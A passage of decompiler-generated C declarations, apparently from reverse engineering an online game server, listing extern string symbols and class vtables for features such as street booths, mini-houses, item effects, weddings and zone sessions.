aShineobjectShi[]; // idb extern char aShinemobileo_1[]; // idb extern char aShinemobileobj[]; // idb extern char aShinemobileo_3[]; // idb extern char asc_5D6F04[]; // idb extern int (__stdcall *AxialListDeathAura::_vftable_)(int, int, int distancesquar); // weak extern char aShineplayerSp_[]; // idb extern char asc_5D6F64[]; // idb extern char asc_5D6F90[]; // idb extern char asc_5D6FBC[]; // idb extern char aLg[]; // idb extern char aShineplayer_21[]; // idb extern char asc_5D7020[]; // idb extern char aShineplayer_41[]; // idb extern char asc_5D70B0[]; // idb extern char aShineplayerS_6[]; // idb extern char aShineplayerS_4[]; // idb extern char asc_5D7170[]; // idb extern char aShineplayer_18[]; // idb extern char asc_5D71EC[]; // idb extern char aShineplayer_23[]; // idb extern char aShineplayer_38[]; // idb extern char aMysteryboltt_2[]; // idb extern char aMysteryboltt_3[]; // idb extern char aMysteryboltt_0[]; // idb extern char aShineplayer[]; // idb extern int (__stdcall *AxialListMagicFieldDamage::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListRescueRequest::_vftable_)(int, int, int distancesquar); // weak extern char aCharSo_ply_ban[]; // idb extern char aShineobject_65[]; // idb extern char asc_5D7390[]; // idb extern char aPP[]; // idb extern char asc_5D73D0[]; // idb extern char asc_5D7410[]; // idb extern char asc_5D7478[]; // idb extern char asc_5D74C0[]; // idb extern char aFm_isinfield_4[]; // idb extern char asc_5D7510[]; // idb extern char aShineobject_80[]; // idb extern char aFm_isinfield_0[]; // idb extern char asc_5D759C[]; // idb extern char aMinihouseErr_0[]; // idb extern char sFN[]; // idb extern char szFormat[]; // idb extern char aMinihouseError[]; // idb extern char asc_5D7648[]; // idb extern char aFurnitureEndur[]; // idb extern char aFurniturehnd[]; // idb extern char aEnduregrade[]; // idb extern char aIsrepair[]; // idb extern char aFm_isinfield_3[]; // idb extern char asc_5D76EC[]; // idb extern char asc_5D771C[]; // idb extern char aAxiallistmag_2[]; // idb extern char aAxiallistmag_0[]; // idb extern char asc_5D77AC[]; // idb extern char aAxiallistrescu[]; // idb extern char asc_5D7800[]; // idb extern char asc_5D7840[]; // idb extern char asc_5D7870[]; // idb extern char asc_5D78A8[]; // idb extern char asc_5D78D8[]; // idb extern char asc_5D7914[]; // idb extern char asc_5D7944[]; // idb extern char asc_5D7980[]; // idb extern char aShineobject_78[]; // idb extern char asc_5D7A04[]; // idb extern char asc_5D7A38[]; // idb extern char asc_5D7A70[]; // idb extern char asc_5D7AAC[]; // idb extern char asc_5D7AE4[]; // idb extern char asc_5D7B18[]; // idb extern char asc_5D7B50[]; // idb extern char aFm_isinfieldsi[]; // idb extern char asc_5D7B98[]; // idb extern char asc_5D7BDC[]; // idb extern char asc_5D7C08[]; // idb extern char asc_5D7C50[]; // idb extern char asc_5D7C80[]; // idb extern char asc_5D7CC0[]; // idb extern char asc_5D7CF8[]; // idb extern char asc_5D7D28[]; // idb extern char asc_5D7D68[]; // idb extern char asc_5D7D9C[]; // idb extern char asc_5D7DD0[]; // idb extern char asc_5D7E04[]; // idb extern char aCharAsWriteFai[]; // idb extern char asc_5D7E4C[]; // idb extern char asc_5D7E80[]; // idb extern char asc_5D7EB4[]; // idb extern char asc_5D7EE8[]; // idb extern char asc_5D7F1C[]; // idb extern char asc_5D7F50[]; // idb extern char asc_5D7F84[]; // idb extern char asc_5D7FB8[]; // idb extern char asc_5D7FEC[]; // idb extern char asc_5D8024[]; // idb extern char aCharAsAbnormal[]; // idb extern char asc_5D8078[]; // idb extern char asc_5D80B0[]; // idb extern char asc_5D80E8[]; // idb extern char aFm_isinfield_2[]; // idb extern char asc_5D8148[]; // idb extern char asc_5D8174[]; // idb extern char asc_5D81A0[]; // idb extern char aFm_isinfield_1[]; // idb extern char asc_5D81FC[]; // idb extern char asc_5D8224[]; // idb extern char aFm_isinfield_5[]; // idb extern char asc_5D826C[]; // idb extern char asc_5D8298[]; // idb extern char aReinforcemovel[]; // idb extern char asc_5D82E0[]; // idb extern char aShineobject_59[]; // idb extern char asc_5D8358[]; // idb extern char asc_5D839C[]; // idb extern char asc_5D83D0[]; // idb extern char asc_5D8410[]; // idb extern char asc_5D8440[]; // idb extern char asc_5D847C[]; // idb extern char asc_5D84B4[]; // idb extern char asc_5D84EC[]; // idb extern char aShineobject_68[]; // idb extern char asc_5D855C[]; // idb extern char asc_5D8590[]; // idb extern char asc_5D85E0[]; // idb extern char asc_5D8620[]; // idb extern char asc_5D8660[]; // idb extern char a_IgnoreMinihou[]; // idb extern char aCannotFindPl_0[]; // idb extern char a_IgnoreMinih_2[]; // idb extern char a_IgnoreMinih_1[]; // idb extern char a_IgnoreMinih_3[]; // idb extern char a_IgnoreMinih_0[]; // idb extern char asc_5D8790[]; // idb extern char aGamedbsessi_22[]; // idb extern char aPortalCountErr[]; // idb extern char asc_5D8838[]; // idb extern char aDbError[]; // idb extern char aNotOwner[]; // idb extern char aNotFoundMh[17]; // weak extern char aNotActiveMh[]; // idb extern char aPlayerRegnum[]; // idb extern char asc_5D88E0[]; // idb extern char asc_5D8928[]; // idb extern char aDoesNotGetTheM[]; // idb extern char aDoesNotInTheMi[28]; // weak extern char aDoesNotActiveT[32]; // weak extern char aCannotOutMin_0[]; // idb extern char aGamedbsessi_31[]; // idb extern char asc_5D8A10[]; // idb extern char aGamedbsessi_94[]; // idb extern char asc_5D8AA0[]; // idb extern char asc_5D8AF4[]; // idb extern char asc_5D8B38[]; // idb extern char asc_5D8B88[]; // idb extern char asc_5D8BF0[]; // idb extern char asc_5D8C60[]; // idb extern char asc_5D8CB8[]; // idb extern char asc_5D8D08[]; // idb extern char aCannotEnterMin[]; // idb extern char asc_5D8D60[]; // idb extern char asc_5D8DA0[]; // idb extern char asc_5D8DF8[]; // idb extern char asc_5D8E40[]; // idb extern char asc_5D8E88[]; // idb extern char asc_5D8EC0[]; // idb extern char asc_5D8F04[]; // idb extern char asc_5D8F48[]; // idb extern char asc_5D8F90[]; // idb extern char asc_5D8FD0[]; // idb extern char asc_5D9018[]; // idb extern char asc_5D9060[]; // idb extern char asc_5D90B0[]; // idb extern char asc_5D90F4[]; // idb extern char asc_5D9138[]; // idb extern char asc_5D9178[]; // idb extern char asc_5D91D0[]; // idb extern char asc_5D9218[]; // idb extern char asc_5D9264[]; // idb extern char asc_5D92A0[]; // idb extern char asc_5D92F4[]; // idb extern char asc_5D9338[]; // idb extern char asc_5D9390[]; // idb extern char asc_5D93D4[]; // idb extern char asc_5D9408[]; // idb extern char aShineobject_50[]; // idb extern char asc_5D9490[]; // idb extern char asc_5D94E8[]; // idb extern char asc_5D9530[]; // idb extern char asc_5D9590[]; // idb extern char aMh_innerinfoNu[]; // idb extern char aSp_mh_innerinf[]; // idb extern char aShineobjectc_4[]; // idb extern char asc_5D9648[]; // idb extern char aShineobject_77[]; // idb extern char aMh_zoneDC[]; // idb extern char aMiniroomskill[]; // idb extern char asc_5D96EC[]; // idb extern char aDequeTTooLong[]; // idb extern char aNormalattackda[]; // idb extern char asc_5D97BC[]; // idb extern char aNormalattack_0[]; // idb extern char aShineobjectc_2[]; // idb extern char asc_5D9860[]; // idb extern char aShinequestdiar[]; // idb extern char aShineobjectc_3[]; // idb extern char aShineobject_48[]; // idb extern char asc_5D991C[]; // idb extern char asc_5D9958[]; // idb extern char asc_5D9984[]; // idb extern char asc_5D99B0[]; // idb extern char asc_5D99DC[]; // idb extern char asc_5D9A18[]; // idb extern char asc_5D9A5C[]; // idb extern char asc_5D9A98[]; // idb extern char aShineradianSr_[]; // idb extern int (__stdcall *AxialListScanSkillTarget::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanSkillEnemy::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanSkillParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanSkillFriend::_vftable_)(int, int, int distancesquar); // weak extern char aShinemobSmo_te[]; // idb extern int (__stdcall *AxialListMagicFieldAggro::_vftable_)(int, int, int distancesquar); // weak extern char aSmo_skillblast[15]; // weak extern char asc_5D9B5C[]; // idb extern char asc_5D9B98[]; // idb extern char asc_5D9BD4[]; // idb extern char asc_5D9C08[]; // idb extern char asc_5D9C38[]; // idb extern char asc_5D9C90[]; // idb extern char aAxiallistnea_2[]; // idb extern char aAxiallistnea_5[]; // idb extern char asc_5D9D38[]; // idb extern char asc_5D9D80[]; // idb extern char asc_5D9DBC[]; // idb extern char asc_5D9DF0[]; // idb extern char aAxiallistmag_1[]; // idb extern char aAxiallistmagic[]; // idb extern char asc_5D9F04[]; // idb extern char asc_5D9F38[]; // idb extern char asc_5D9F78[]; // idb extern char asc_5D9FA4[]; // idb extern char asc_5D9FE0[]; // idb extern char asc_5DA030[]; // idb extern char asc_5DA078[]; // idb extern char aShineobject_93[]; // idb extern char aSkilleraseNu_0[]; // idb extern char aSkilleraseNull[]; // idb extern char asc_5DA128[]; // idb extern char aGamedbsessi_27[]; // idb extern char aCharaterski_21[]; // idb extern char asc_5DA1B0[]; // idb extern char aMobexplosionel[]; // idb extern char aMobexplosion_2[]; // idb extern char aMobexplosion_0[]; // idb extern char aMobexplosion_4[]; // idb extern char asc_5DA2BC[]; // idb extern char asc_5DA2F8[]; // idb extern char aShineobject_91[]; // idb extern char asc_5DA360[]; // idb extern char asc_5DA3A0[]; // idb extern char asc_5DA3E4[]; // idb extern char asc_5DA420[]; // idb extern char asc_5DA460[]; // idb extern char asc_5DA4B4[]; // idb extern char aServermenuf_11[]; // idb extern char asc_5DA510[]; // idb extern char asc_5DA540[]; // idb extern char asc_5DA580[]; // idb extern char asc_5DA5B8[]; // idb extern char asc_5DA608[]; // idb extern char aSp_nc_bat_skil[33]; // weak extern char asc_5DA670[]; // idb extern char asc_5DA6C0[]; // idb extern char asc_5DA700[]; // idb extern char aSkilleffect_11[]; // idb extern char aAxiallistscans[]; // idb extern char asc_5DA814[]; // idb extern char aSmo_skillbash_[20]; // weak extern char asc_5DA868[]; // idb extern char asc_5DA8A8[]; // idb extern char asc_5DA8F8[]; // idb extern char asc_5DA940[]; // idb extern char aSkilleffecta_1[]; // idb extern char aSkilleffecta_8[]; // idb extern char aSkilleffecta_7[]; // idb extern char aSkilleffecta_6[]; // idb extern char aSkilleffecta_2[]; // idb extern char aSkilldataboxSd[]; // idb extern char aSkilldatabox_7[]; // idb extern char aSkilldatabox_3[]; // idb extern char aSkilldataboxSk[]; // idb extern char aSkilldatabo_10[]; // idb extern char aSkilldatabox_6[]; // idb extern char aPassivedatabox[]; // idb extern char aPassivedatab_0[]; // idb extern char aSummonmate01[]; // idb extern char aProducecompoun[]; // idb extern char aProduceresolve[]; // idb extern char aProduceston[]; // idb extern char aProducescroll[]; // idb extern char aProducepotion[]; // idb extern char aSkilldatabox_5[]; // idb extern char aNullSkll[]; // idb extern char aSkillidUnsync[]; // idb extern char aSkilldatabox_9[]; // idb extern char aErrorIn[]; // idb extern char aSkilldatabox_2[]; // idb extern char aSkilldatabox_4[]; // idb extern char aSkilldatabox_1[]; // idb extern char aSkilldatabox_8[]; // idb extern char aSkilldatabox_0[]; // idb extern char a__9dataShin_74[]; // idb extern char a__9dataShineAc[]; // idb extern char aSkilldataboxGe[]; // idb extern char aPoweroflove01[]; // idb extern char aPassivedatab_3[]; // idb extern char aPassivedatab_4[]; // idb extern char aPassivedatab_1[]; // idb extern char a__9dataShinePa[]; // idb extern int (*NPCAction::IAction::_vftable_[6])(); // weak extern int (*SlantedCoordList::ObjectXCoordNode::_vftable_[4])(); // weak extern int (*SlantedCoordList::ObjectYCoordNode::_vftable_[2])(); // weak extern char aSlantedcoor_12[]; // idb extern char aCoordednodeC_0[]; // idb extern char aCoordednodeC_3[]; // idb extern char aSlantedcoor_18[]; // idb extern char aCoordednodeCn_[]; // idb extern char aCoordednodeC_4[]; // idb extern char aSlantedcoordli[]; // idb extern char aSlantedcoor_11[]; // idb extern char aSlantedcoor_19[]; // idb extern char aCoordednodeC_1[]; // idb extern char aSlantedcoord_4[]; // idb extern char aSlantedcoord_0[]; // idb extern char aSlantedcoord_7[]; // idb extern char aSlantedcoor_13[]; // idb extern char aCoordednodeC_2[]; // idb extern char aSlantedcoord_5[]; // idb extern char aSlantedcoord_9[]; // idb extern char aSlantedcoor_14[]; // idb extern char aCn_rearrange2[]; // idb extern char aSlantedcoor_10[]; // idb extern char aCn_rearrange[]; // idb extern char aSlantedcoord_1[]; // idb extern char aSlantedcoord_2[]; // idb extern char asc_5DB468[]; // idb extern char asc_5DB4AC[]; // idb extern char aGamedbsessi_62[]; // idb extern char asc_5DB510[]; // idb extern char aGamedbsessi_52[]; // idb extern char asc_5DB578[]; // idb extern char asc_5DB5A8[]; // idb extern char aShineobjectc_1[]; // idb extern char asc_5DB610[]; // idb extern char asc_5DB640[]; // idb extern char asc_5DB670[]; // idb extern char asc_5DB6AC[]; // idb extern char asc_5DB6E8[]; // idb extern char a__9dataShineSp[]; // idb extern char a__9dataShin_55[]; // idb extern char asc_5DB770[]; // idb extern char aShineobject_70[]; // idb extern char asc_5DB7E0[]; // idb extern char asc_5DB818[]; // idb extern char aFlyNullMap[]; // idb extern char aFlyNull[]; // idb extern char aFlyNullReturn[]; // idb extern char asc_5DB880[]; // idb extern int (*SpyNet::IntelligenceOffice::_vftable_[3])(); // weak extern int (__stdcall *SpyNet::IntelligenceOffice4Mob::_vftable_)(int, int report); // weak extern char aSpynetIntell_0[]; // idb extern char aSpynetIntellig[]; // idb extern char aShineplayer_13[]; // idb extern char aShineplayerS_7[]; // idb extern char aShineplayer_35[]; // idb extern char aShineplayer_34[]; // idb extern char asc_5DBA34[]; // idb extern char asc_5DBA70[]; // idb extern char aShineplayer_16[]; // idb extern char aShineplayer_20[]; // idb extern char asc_5DBB38[]; // idb extern char aShineplayerS_9[]; // idb extern char asc_5DBBD8[]; // idb extern char asc_5DBC3C[]; // idb extern char aGamedbsessi_34[]; // idb extern char asc_5DBCB0[]; // idb extern char asc_5DBCF8[]; // idb extern char asc_5DBD40[]; // idb extern char asc_5DBD98[]; // idb extern char asc_5DBDCC[]; // idb extern char asc_5DBE00[]; // idb extern char asc_5DBE50[]; // idb extern char asc_5DBE98[]; // idb extern char aShineplayer_37[]; // idb extern char aShineplayer_24[]; // idb extern char aShineplayerS_8[]; // idb extern char asc_5DBFE0[]; // idb extern char asc_5DC01C[]; // idb extern char asc_5DC050[]; // idb extern char asc_5DC088[]; // idb extern char aGamedbsessi_79[]; // idb extern char asc_5DC110[]; // idb extern char asc_5DC150[]; // idb extern char aGamedbsessi_92[]; // idb extern int (*StreetBooth::_vftable_)(); // weak extern char aStreetbooths_2[51]; // weak extern char aStreetbooth_10[]; // idb extern char aStreetboothsel[]; // idb extern char aStreetboothb_1[]; // idb extern char aStreetbooths_0[]; // idb extern char aStreetbooths_1[]; // idb extern char aStreetbooths_7[]; // idb extern char aStreetboothb_6[]; // idb extern char aStreetboothb_7[]; // idb extern char asc_5DC33C[]; // idb extern char asc_5DC368[]; // idb extern char asc_5DC3A0[]; // idb extern char asc_5DC3D8[]; // idb extern char aStreetbooths_4[]; // idb extern char aStreetboothb_0[]; // idb extern char aStreetbooths_6[]; // idb extern char asc_5DC488[]; // idb extern char aStringmakerM_2[]; // idb extern char aStringmakerM_4[]; // idb extern char aStringmakerMak[]; // idb extern char aStringmakerM_1[]; // idb extern char aStringmakerM_0[]; // idb extern char aStringmakerM_3[]; // idb extern char aShineobjectc_0[]; // idb extern char aHp_1[]; // idb extern char aNull_2[]; // idb extern char aLocation[]; // idb extern char aMode[]; // idb extern char aLevel_0[]; // idb extern char aName[]; // idb extern char asc_5DC648[]; // idb extern char aRidingBriefCam[]; // idb extern char asc_5DC69C[]; // idb extern char aMinihouseBri_0[]; // idb extern char aMinihouseBrief[]; // idb extern char aNullData[]; // idb extern char aNullHandle[]; // idb extern char aMinihouseSkinh[]; // idb extern char aMinihouseInven[]; // idb extern char asc_5DC720[]; // idb extern char asc_5DC754[]; // idb extern char aBoothinterior[]; // idb extern char asc_5DC794[]; // idb extern char asc_5DC7D8[]; // idb extern char asc_5DC820[]; // idb extern char asc_5DC868[]; // idb extern char aStreetbooths_3[]; // idb extern int (*StreetBoothBuy::_vftable_)(); // weak extern char aSell[5]; // weak extern char aBuy[4]; // weak extern char aStreetboothb_5[]; // idb extern char aStreetboothSb_[]; // idb extern char aStreetboothb_4[]; // idb extern int (*StreetBoothSell::_vftable_)(); // weak extern char aGamedbsessi_86[]; // idb extern char asc_5DCAEC[]; // idb extern char aGamedbsessi_44[]; // idb extern char aStreetboothS_0[]; // idb extern char aStreetboothS_2[]; // idb extern char aStreetboothS_1[]; // idb extern char aStreetboothSbs[]; // idb extern char aStreetbooths_5[]; // idb extern int (__stdcall *TargetAnalyser::_vftable_[6])(int target); // weak extern int (__stdcall *TargetAnalyser_Player::_vftable_[3])(int target); // weak extern char asc_5DCC30[]; // idb extern char asc_5DCC78[]; // idb extern char asc_5DCCC8[]; // idb extern char asc_5DCCF8[]; // idb extern char aShineplayerS_5[]; // idb extern char asc_5DCD64[]; // idb extern char asc_5DCD9C[]; // idb extern char asc_5DCDDC[]; // idb extern char aShineplayerS_0[]; // idb extern char asc_5DCE58[]; // idb extern char asc_5DCE94[]; // idb extern char asc_5DCECC[]; // idb extern char asc_5DCF08[]; // idb extern char aShineobject_55[]; // idb extern char asc_5DCF6C[]; // idb extern char aTradeboardTb_c[]; // idb extern char asc_5DCFB8[]; // idb extern char asc_5DD008[]; // idb extern char asc_5DD060[]; // idb extern char asc_5DD0A8[]; // idb extern char asc_5DD0F0[]; // idb extern char asc_5DD130[]; // idb extern char asc_5DD188[]; // idb extern char aTradeboardTb_f[]; // idb extern char aTradeboardTb_g[]; // idb extern char aTradeboardTb_n[]; // idb extern char aGamedbsessi_88[]; // idb extern char asc_5DD234[]; // idb extern char asc_5DD268[]; // idb extern char aTradeboardTb_h[]; // idb extern char aTradeboardTb_0[]; // idb extern char aTradeboardTb_3[]; // idb extern char asc_5DD300[]; // idb extern char asc_5DD348[]; // idb extern char asc_5DD390[84]; // weak extern char asc_5DD3E4[]; // idb extern char aTradeboardTb_2[]; // idb extern char aTradeboardTb_1[]; // idb extern char aShineplayer_40[]; // idb extern char aShineplayer_30[]; // idb extern char aShineplayer_15[]; // idb extern char asc_5DD4FC[]; // idb extern char aTradeboardTb_o[]; // idb extern char asc_5DD550[]; // idb extern char asc_5DD5A0[]; // idb extern char asc_5DD5F0[]; // idb extern char asc_5DD638[]; // idb extern char asc_5DD678[]; // idb extern char asc_5DD6BC[]; // idb extern char aTreasureches_2[]; // idb extern char aTreasureches_0[]; // idb extern char aTreasurechestm[]; // idb extern char aTreasureches_3[]; // idb extern char aTreasureches_5[]; // idb extern char aTreasureches_1[]; // idb extern char aTreasureches_8[]; // idb extern char aTreasureches_7[]; // idb extern char aTreasureches_4[]; // idb extern char aTreasureches_6[]; // idb extern char a__9dataShineUp[]; // idb extern char aUpgradedatabox[]; // idb extern char aUseeffectUs_28[]; // idb extern char aUseeffectUs_42[]; // idb extern char aUseeffectUsedi[]; // idb extern int (__stdcall *UseEffect::UseItemBase::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSilverWing::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemNormal::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRecallScroll::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillScroll::_vftable_)(#434 *, int itm); // weak extern int (__stdcall *UseEffect::UseItemChest::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemByTable::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemChargedBuff::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMiniHouse::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemActionItem::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMiniHouseFurniture::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRide::_vftable_)(#325 *, int itm); // weak extern int (__stdcall *UseEffect::UseItemHorseFood::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemItemPackage::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemLicenseClear::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemStatClear::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountHP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountSP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRoar::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillErase::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemWingStone::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMemoryFeather::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemBossMobDetect::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillDummy2Real::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemPropose::_vftable_)(#325 *, int itm); // weak extern char aUseitempropose[]; // idb extern int (__stdcall *UseEffect::UseItemImmediateDivorce::_vftable_)(int, int itm); // weak extern char aInstantdivorce[]; // idb extern int (__stdcall *UseEffect::UseItemGuildReName::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemGuildReType::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemFurnitureEndureKit::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMysteryBolt::_vftable_)(int, int itm); // weak extern char aUseeffectUs_20[]; // idb extern char aUseeffectUse_9[]; // idb extern char aUseeffectUs_23[]; // idb extern char a__9dataShin_16[]; // idb extern char aUseeffectUs_18[]; // idb extern char aUsestagerecall[]; // idb extern char aUseditemeffect[]; // idb extern char aUseeffectUs_16[]; // idb extern char aUseditemeffe_0[]; // idb extern char aGamedbsessi_43[]; // idb extern char asc_5DDDC0[]; // idb extern char asc_5DDDF4[]; // idb extern char asc_5DDE28[]; // idb extern char asc_5DDE58[]; // idb extern char asc_5DDE88[]; // idb extern char asc_5DDED0[]; // idb extern char asc_5DDF18[]; // idb extern char asc_5DDF60[]; // idb extern char asc_5DDFA8[]; // idb extern char asc_5DDFF8[]; // idb extern char asc_5DE030[]; // idb extern char asc_5DE074[]; // idb extern char aShineplayer_26[]; // idb extern char asc_5DE0D8[]; // idb extern char asc_5DE108[]; // idb extern char asc_5DE140[]; // idb extern char asc_5DE184[]; // idb extern char asc_5DE1B4[]; // idb extern char aShineplayer_33[]; // idb extern char asc_5DE21C[]; // idb extern char aGamedbsessi_90[]; // idb extern char aGamedbsessi_20[]; // idb extern int (__stdcall *UseEffect::UseItemNoEffect::_vftable_)(int, int itm); // weak extern char aUseeffectUs_39[]; // idb extern char aUseeffectUse_8[]; // idb extern char asc_5DE328[]; // idb extern char asc_5DE378[75]; // weak extern char aShineplayer_19[]; // idb extern char aShineplayer_28[]; // idb extern char aUseeffectUs_45[]; // idb extern char aUseeffectUse_5[]; // idb extern char aUseeffectUs_22[]; // idb extern char aUseeffectUse_1[]; // idb extern char aShineplayer_25[]; // idb extern char asc_5DE550[]; // idb extern char aGamedbsessi_59[]; // idb extern char aPresentboxinve[]; // idb extern char aShineplayer_29[]; // idb extern char aShineplayer_12[]; // idb extern char asc_5DE630[]; // idb extern char aUseeffectUs_13[]; // idb extern char aUseeffectUse_7[]; // idb extern char aUseeffectUs_15[]; // idb extern char aUseeffectUs_19[]; // idb extern char aUseeffectUs_27[]; // idb extern char aUseeffectUs_32[]; // idb extern char aUseeffectUs_24[]; // idb extern char aUseeffectUs_30[]; // idb extern char aUseeffectUs_46[]; // idb extern char aUseeffectUs_31[]; // idb extern char aUseeffectUse_0[]; // idb extern char aUseeffectUs_36[]; // idb extern char aUseeffectUs_10[]; // idb extern char aUseeffectUseit[]; // idb extern char aUseeffectUs_33[]; // idb extern char aUseeffectUs_38[]; // idb extern char aUseeffectUs_44[]; // idb extern char aUseeffectUs_35[]; // idb extern char aUseeffectUs_40[]; // idb extern char aUseeffectUs_17[]; // idb extern char aUseeffectUs_14[]; // idb extern char aItemsmallbagSm[]; // idb extern char asc_5DEBD4[]; // idb extern char aServermenufu_5[]; // idb extern char aServermenufu_1[]; // idb extern char asc_5DEC5C[]; // idb extern char aUseeffectUse_4[]; // idb extern char aServermenufu_8[]; // idb extern char aSilverwinglocs[]; // idb extern char aCancel[]; // idb extern char aSilverwingport[]; // idb extern char aSilverwingtitl[]; // idb extern char asc_5DED28[]; // idb extern char aUseeffectUs_29[]; // idb extern char aShineplayer_14[]; // idb extern char asc_5DEDC4[]; // idb extern char asc_5DEDF8[]; // idb extern char asc_5DEE34[]; // idb extern char aGamedbsessi_30[]; // idb extern char asc_5DEE8C[]; // idb extern char aGamedbsessi_83[]; // idb extern char aGamedbsessionG[]; // idb extern char aGamedbsessio_0[]; // idb extern char aShineplayer_31[]; // idb extern char asc_5DEF7C[]; // idb extern char aShineplayer_27[]; // idb extern char aGamedbsessionS[]; // idb extern char asc_5DF020[]; // idb extern char aShineplayerS_3[]; // idb extern char aShineplayer_11[]; // idb extern char asc_5DF0C4[]; // idb extern char aShineplayer_10[]; // idb extern char asc_5DF128[]; // idb extern char aIteminventoryc[]; // idb extern char aIteminvento_19[]; // idb extern char aProposeresultP[]; // idb extern char aReservresultPa[]; // idb extern char aCheckerWhenpro[]; // idb extern char aCheckerApplica[]; // idb extern char aCheckerDelayli[]; // idb extern char aShineobject_43[]; // idb extern char asc_5DF2C4[]; // idb extern char asc_5DF2FC[]; // idb extern char asc_5DF338[]; // idb extern char asc_5DF390[]; // idb extern char asc_5DF3D0[]; // idb extern char asc_5DF428[]; // idb extern char asc_5DF468[]; // idb extern char asc_5DF4C8[]; // idb extern char asc_5DF518[]; // idb extern char asc_5DF570[]; // idb extern char asc_5DF5B8[]; // idb extern char asc_5DF618[]; // idb extern char aShineobject_67[]; // idb extern char asc_5DF6C0[]; // idb extern char asc_5DF708[]; // idb extern char aZonelistense_1[]; // idb extern char asc_5DF7B0[]; // idb extern char asc_5DF808[]; // idb extern char aWeddinghallW_3[]; // idb extern char aZonelistense_5[]; // idb extern char aZonelistens_19[]; // idb extern char aZonelistens_12[]; // idb extern char aGamedbsessi_75[]; // idb extern char aGamedbsessi_91[]; // idb extern char asc_5DF984[]; // idb extern char aGamedbsessio_9[]; // idb extern char aGamedbsessio_6[]; // idb extern char asc_5DFA3C[]; // idb extern char aGamedbsessi_67[]; // idb extern char aGamedbsessi_68[]; // idb extern char aGamedbsessi_35[]; // idb extern char asc_5DFB28[]; // idb extern char aGamedbsessi_71[]; // idb extern char aGamedbsessi_78[]; // idb extern char aGamedbsessi_26[]; // idb extern char aGamedbsessi_45[]; // idb extern char asc_5DFC68[]; // idb extern char aGamedbsessio_7[]; // idb extern char aCheckerDivorce[]; // idb extern char asc_5DFD10[]; // idb extern char asc_5DFD54[]; // idb extern char asc_5DFD88[]; // idb extern char asc_5DFDE0[]; // idb extern char aWeddinghallW_4[]; // idb extern char aWeddingWedding[]; // idb extern char aWeddinghallW_0[]; // idb extern char aEldpri[]; // idb extern char aWeddinghallW_2[]; // idb extern char aWeddinghallWh_[]; // idb extern char aWeddinghallW_1[]; // idb extern char aZonelistense_8[]; // idb extern int (__stdcall *WorldManagerSession::_vftable_)(int interval); // weak extern char aWorldmanage_61[]; // idb extern char asc_5DFF60[]; // idb extern char asc_5DFFA0[]; // idb extern char aWorldmanage_64[]; // idb extern char asc_5E0030[]; // idb extern char aWorldmanage_26[]; // idb extern char aWorldmanage_73[]; // idb extern char aWorldmanage_43[]; // idb extern char aWorldmanage_28[]; // idb extern char aWorldmanage_32[]; // idb extern char aWorldmanage_65[]; // idb extern char aWorldmanage_80[]; // idb extern char aCharFromWorld[]; // idb extern char aWorldmanage_50[]; // idb extern char aWorldmanage_93[]; // idb extern char aWorldmanage_19[]; // idb extern char aWorldmanage_69[]; // idb extern char asc_5E0350[]; // idb extern char asc_5E0384[]; // idb extern char aWorldmanage_57[]; // idb extern char asc_5E03E4[]; // idb extern char aWorldmanager_9[]; // idb extern char asc_5E0450[]; // idb extern char aWorldmanage_86[]; // idb extern char aWorldmanage_79[]; // idb extern char asc_5E04E4[]; // idb extern char aWorldmanage_44[]; // idb extern char aWorldmanage_81[]; // idb extern char aWorldmanage_33[]; // idb extern char aWorldmanage_51[]; // idb extern char aWorldmanage_30[]; // idb extern char aWorldmanage_18[]; // idb extern char aWorldmanage_88[]; // idb extern char aWorldmanage_62[]; // idb extern char aWorldmanage_83[]; // idb extern char aWorldmanage_70[]; // idb extern char aWorldmanage_38[]; // idb extern char aWorldmanage_82[]; // idb extern char aWorldmanage_71[]; // idb extern char aWms_nc_char_ge[]; // idb extern char aWorldmanage_95[]; // idb extern char asc_5E0880[]; // idb extern char aWorldmanage_20[]; // idb extern char aWorldmanage_13[]; // idb extern int (__stdcall *ZoneBaseSession::_vftable_)(int interval); // weak extern char aErrorSocket__0[]; // idb extern char aErrorSocket_re[44]; // weak extern int (__stdcall *IOCPProcessSession::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern char aSS_1[]; // idb extern int (__stdcall *ZoneConnectSession::_vftable_)(int interval); // weak extern int (*ZoneRingPacketBase::_vftable_[2])(); // weak extern int (__stdcall *ZoneRingPacketFindPlayer::_vftable_[14])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketFindPlayerByNormalUser::_vftable_[11])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketSummonPlayer::_vftable_[8])(int, int netcmd); // weak extern int (__stdcall 